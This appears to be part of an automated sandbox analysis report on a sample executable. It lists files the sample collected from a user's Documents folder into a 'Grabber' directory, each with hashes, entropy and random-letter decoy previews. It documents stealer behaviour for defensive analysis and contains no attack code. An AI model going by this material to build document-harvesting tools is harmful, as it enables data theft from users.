Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\NEBFQQYWPS\PWCCAWLGRE.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6969712158039245
Encrypted:	false
SSDEEP:	24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
MD5:	31CD00400A977C512B9F1AF51F2A5F90
SHA1:	3A6B9ED88BD73091D5685A51CB4C8870315C4A81
SHA-256:	E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
SHA-512:	0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
Malicious:	false
Preview:	PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\NEBFQQYWPS\QNCYCDFIJJ.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\NEBFQQYWPS\ZQIXMVQGAH.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\PWCCAWLGRE.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6969712158039245
Encrypted:	false
SSDEEP:	24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
MD5:	31CD00400A977C512B9F1AF51F2A5F90
SHA1:	3A6B9ED88BD73091D5685A51CB4C8870315C4A81
SHA-256:	E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
SHA-512:	0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
Malicious:	false
Preview:	PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\QNCYCDFIJJ.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\QNCYCDFIJJ.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\SQSJKEBWDT.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\SUAVTZKNFL.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\ZQIXMVQGAH.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
